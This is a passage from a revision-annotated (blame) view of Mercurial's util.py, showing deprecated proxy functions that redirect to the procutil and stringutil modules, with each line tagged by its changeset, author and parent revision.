Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3811
                               modname='utils.procutil')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3812
readpipe = _deprecatedfunc(procutil.readpipe, '4.6', modname='utils.procutil')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3813
setbinary = _deprecatedfunc(procutil.setbinary, '4.6', modname='utils.procutil')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3814
setsignalhandler = _deprecatedfunc(procutil.setsignalhandler, '4.6',
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3815
                                   modname='utils.procutil')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3816
shellquote = _deprecatedfunc(procutil.shellquote, '4.6',
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3817
                             modname='utils.procutil')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3818
shellsplit = _deprecatedfunc(procutil.shellsplit, '4.6',
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3819
                             modname='utils.procutil')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3820
spawndetached = _deprecatedfunc(procutil.spawndetached, '4.6',
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3821
                                modname='utils.procutil')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3822
sshargs = _deprecatedfunc(procutil.sshargs, '4.6', modname='utils.procutil')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3823
testpid = _deprecatedfunc(procutil.testpid, '4.6', modname='utils.procutil')
37121
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37120
diff changeset
  3824
try:
37124
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3825
    setprocname = _deprecatedfunc(procutil.setprocname, '4.6',
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3826
                                  modname='utils.procutil')
37121
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37120
diff changeset
  3827
except AttributeError:
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37120
diff changeset
  3828
    pass
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37120
diff changeset
  3829
try:
37124
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3830
    unblocksignal = _deprecatedfunc(procutil.unblocksignal, '4.6',
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3831
                                    modname='utils.procutil')
37121
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37120
diff changeset
  3832
except AttributeError:
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37120
diff changeset
  3833
    pass
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37120
diff changeset
  3834
closefds = procutil.closefds
37124
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3835
isatty = _deprecatedfunc(procutil.isatty, '4.6')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3836
popen2 = _deprecatedfunc(procutil.popen2, '4.6')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3837
popen3 = _deprecatedfunc(procutil.popen3, '4.6')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3838
popen4 = _deprecatedfunc(procutil.popen4, '4.6')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3839
pipefilter = _deprecatedfunc(procutil.pipefilter, '4.6')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3840
tempfilter = _deprecatedfunc(procutil.tempfilter, '4.6')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3841
filter = _deprecatedfunc(procutil.filter, '4.6')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3842
mainfrozen = _deprecatedfunc(procutil.mainfrozen, '4.6')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3843
hgexecutable = _deprecatedfunc(procutil.hgexecutable, '4.6')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3844
isstdin = _deprecatedfunc(procutil.isstdin, '4.6')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3845
isstdout = _deprecatedfunc(procutil.isstdout, '4.6')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3846
shellenviron = _deprecatedfunc(procutil.shellenviron, '4.6')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3847
system = _deprecatedfunc(procutil.system, '4.6')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3848
gui = _deprecatedfunc(procutil.gui, '4.6')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3849
hgcmd = _deprecatedfunc(procutil.hgcmd, '4.6')
24ab3381bf15 util: deprecate procutil proxy functions (API)
Yuya Nishihara <yuya@tcha.org>
parents: 37121
diff changeset
  3850
rundetached = _deprecatedfunc(procutil.rundetached, '4.6')
37121
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37120
diff changeset
  3851
37086
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37085
diff changeset
  3852
binary = _deprecatedfunc(stringutil.binary, '4.6')
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37085
diff changeset
  3853
stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37085
diff changeset
  3854
shortuser = _deprecatedfunc(stringutil.shortuser, '4.6')
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37085
diff changeset
  3855
emailuser = _deprecatedfunc(stringutil.emailuser, '4.6')
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37085
diff changeset
  3856
email = _deprecatedfunc(stringutil.email, '4.6')
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37085
diff changeset
  3857
ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6')
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37085
diff changeset
  3858
escapestr = _deprecatedfunc(stringutil.escapestr, '4.6')
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37085
diff changeset
  3859
unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6')
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37085
diff changeset
  3860
forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6')
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37085
diff changeset
  3861
uirepr = _deprecatedfunc(stringutil.uirepr, '4.6')
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37085
diff changeset
  3862
wrap = _deprecatedfunc(stringutil.wrap, '4.6')
f99d64e8a4e4 stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37085
diff changeset
  3863
parsebool = _deprecatedfunc(stringutil.parsebool, '4.6')